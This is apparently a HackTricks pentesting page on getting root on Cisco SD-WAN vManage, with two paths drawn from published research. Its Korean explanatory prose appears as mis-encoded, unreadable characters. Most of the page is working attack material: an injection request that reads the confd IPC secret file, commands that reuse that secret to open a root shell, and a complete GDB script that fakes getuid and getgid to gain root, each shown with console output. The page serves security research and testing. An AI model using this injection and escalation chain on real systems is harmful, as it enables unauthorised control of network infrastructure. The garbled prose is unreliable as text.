Cisco - vmanage
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Path 1
(Example from https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)
์กฐ๊ธ ๋ ํ๊ณ ๋ค์ด confd ๋ฐ ๋ค์ํ ๋ฐ์ด๋๋ฆฌ์ ๊ด๋ จ๋ ๋ฌธ์๋ฅผ ์ดํด๋ณธ ๊ฒฐ๊ณผ, IPC ์์ผ์ ์ธ์ฆํ๊ธฐ ์ํด /etc/confd/confd_ipc_secret์ ์์นํ ๋น๋ฐ์ ์ฌ์ฉํ๋ค๋ ๊ฒ์ ๋ฐ๊ฒฌํ์ต๋๋ค:
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
์ฐ๋ฆฌ์ Neo4j ์ธ์คํด์ค๋ฅผ ๊ธฐ์ตํ๋์? vmanage ์ฌ์ฉ์์ ๊ถํ์ผ๋ก ์คํ๋๊ณ ์์ด, ์ด์ ์ทจ์ฝ์ ์ ์ฌ์ฉํ์ฌ ํ์ผ์ ๊ฒ์ํ ์ ์์ต๋๋ค:
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net
[...]
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
confd_cli ํ๋ก๊ทธ๋จ์ ๋ช
๋ น์ค ์ธ์๋ฅผ ์ง์ํ์ง ์์ง๋ง ์ธ์์ ํจ๊ป /usr/bin/confd_cli_user๋ฅผ ํธ์ถํฉ๋๋ค. ๋ฐ๋ผ์ ์ฐ๋ฆฌ๋ ์์ ์ ์ธ์ ์งํฉ์ผ๋ก /usr/bin/confd_cli_user๋ฅผ ์ง์ ํธ์ถํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ ํ์ฌ ๊ถํ์ผ๋ก๋ ์ฝ์ ์ ์์ผ๋ฏ๋ก rootfs์์ ์ด๋ฅผ ๊ฒ์ํ๊ณ scp๋ฅผ ์ฌ์ฉํ์ฌ ๋ณต์ฌํ ํ, ๋์๋ง์ ์ฝ๊ณ ์ด๋ฅผ ์ฌ์ฉํ์ฌ ์
ธ์ ์ป์ด์ผ ํฉ๋๋ค:
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret
vManage:~$ /tmp/confd_cli_user -U 0 -G 0
Welcome to Viptela CLI
admin connected from 127.0.0.1 using console on vManage
vManage# vshell
vManage:~# id
uid=0(root) gid=0(root) groups=0(root)
Path 2
(Example from https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)
synacktiv ํ์ ๋ธ๋ก๊ทธยน๋ ๋ฃจํธ ์
ธ์ ์ป๋ ์ฐ์ํ ๋ฐฉ๋ฒ์ ์ค๋ช
ํ์ง๋ง, ๋จ์ ์ /usr/bin/confd_cli_user์ ๋ณต์ฌ๋ณธ์ ์ป์ด์ผ ํ๋ฉฐ ์ด๋ ๋ฃจํธ๋ง ์ฝ์ ์ ์์ต๋๋ค. ๋๋ ์ด๋ฌํ ๋ฒ๊ฑฐ๋ก์ ์์ด ๋ฃจํธ๋ก ์์นํ๋ ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ ์ฐพ์์ต๋๋ค.
/usr/bin/confd_cli ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ถํดํ์ ๋, ๋๋ ๋ค์๊ณผ ๊ฐ์ ๊ฒ์ ๊ด์ฐฐํ์ต๋๋ค:
vmanage:~$ objdump -d /usr/bin/confd_cli
โฆ snipped โฆ
40165c: 48 89 c3 mov %rax,%rbx
40165f: bf 1c 31 40 00 mov $0x40311c,%edi
401664: e8 17 f8 ff ff callq 400e80 <getenv@plt>
401669: 49 89 c4 mov %rax,%r12
40166c: 48 85 db test %rbx,%rbx
40166f: b8 dc 30 40 00 mov $0x4030dc,%eax
401674: 48 0f 44 d8 cmove %rax,%rbx
401678: 4d 85 e4 test %r12,%r12
40167b: b8 e6 30 40 00 mov $0x4030e6,%eax
401680: 4c 0f 44 e0 cmove %rax,%r12
401684: e8 b7 f8 ff ff callq 400f40 <getuid@plt> <-- HERE
401689: 89 85 50 e8 ff ff mov %eax,-0x17b0(%rbp)
40168f: e8 6c f9 ff ff callq 401000 <getgid@plt> <-- HERE
401694: 89 85 44 e8 ff ff mov %eax,-0x17bc(%rbp)
40169a: 8b bd 68 e8 ff ff mov -0x1798(%rbp),%edi
4016a0: e8 7b f9 ff ff callq 401020 <ttyname@plt>
4016a5: c6 85 cf f7 ff ff 00 movb $0x0,-0x831(%rbp)
4016ac: 48 85 c0 test %rax,%rax
4016af: 0f 84 ad 03 00 00 je 401a62 <socket@plt+0x952>
4016b5: ba ff 03 00 00 mov $0x3ff,%edx
4016ba: 48 89 c6 mov %rax,%rsi
4016bd: 48 8d bd d0 f3 ff ff lea -0xc30(%rbp),%rdi
4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt>
โฆ snipped โฆ
โps auxโ๋ฅผ ์คํํ์ ๋, ๋ค์์ ๊ด์ฐฐํ์ต๋๋ค (note -g 100 -u 107)
vmanage:~$ ps aux
โฆ snipped โฆ
root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
โฆ snipped โฆ
๋๋ โconfd_cliโ ํ๋ก๊ทธ๋จ์ด ๋ก๊ทธ์ธํ ์ฌ์ฉ์๋ก๋ถํฐ ์์งํ ์ฌ์ฉ์ ID์ ๊ทธ๋ฃน ID๋ฅผ โcmdptywrapperโ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ ๋ฌํ๋ค๊ณ ๊ฐ์ ํ๋ค.
๋ด ์ฒซ ๋ฒ์งธ ์๋๋ โcmdptywrapperโ๋ฅผ ์ง์ ์คํํ๊ณ -g 0 -u 0์ ์ ๊ณตํ๋ ๊ฒ์ด์์ง๋ง ์คํจํ๋ค. ์ด๋๊ฐ์์ ํ์ผ ์ค๋ช
์(-i 1015)๊ฐ ์์ฑ๋ ๊ฒ ๊ฐ๊ณ , ์ด๋ฅผ ์์กฐํ ์ ์๋ค.
synacktiv์ ๋ธ๋ก๊ทธ(๋ง์ง๋ง ์์ )์์ ์ธ๊ธํ๋ฏ์ด, confd_cli ํ๋ก๊ทธ๋จ์ ๋ช
๋ น์ค ์ธ์๋ฅผ ์ง์ํ์ง ์์ง๋ง, ๋๋ฒ๊ฑฐ๋ฅผ ํตํด ์ํฅ์ ์ค ์ ์์ผ๋ฉฐ, ๋คํํ GDB๊ฐ ์์คํ
์ ํฌํจ๋์ด ์๋ค.
๋๋ API getuid์ getgid๊ฐ 0์ ๋ฐํํ๋๋ก ๊ฐ์ ํ๋ GDB ์คํฌ๋ฆฝํธ๋ฅผ ๋ง๋ค์๋ค. ์ด๋ฏธ deserialization RCE๋ฅผ ํตํด โvmanageโ ๊ถํ์ ๊ฐ์ง๊ณ ์์ผ๋ฏ๋ก, /etc/confd/confd_ipc_secret๋ฅผ ์ง์ ์ฝ์ ์ ์๋ ๊ถํ์ด ์๋ค.
root.gdb:
set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run
์ฝ์ ์ถ๋ ฅ:
vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli
GNU gdb (GDB) 8.0.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-poky-linux".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /usr/bin/confd_cli...(no debugging symbols found)...done.
Breakpoint 1 at 0x400f40
Breakpoint 2 at 0x401000Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401689 in ?? ()Breakpoint 2, getgid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401694 in ?? ()Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401871 in ?? ()
Welcome to Viptela CLI
root connected from 127.0.0.1 using console on vmanage
vmanage# vshell
bash-4.4# whoami ; id
root
uid=0(root) gid=0(root) groups=0(root)
bash-4.4#
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


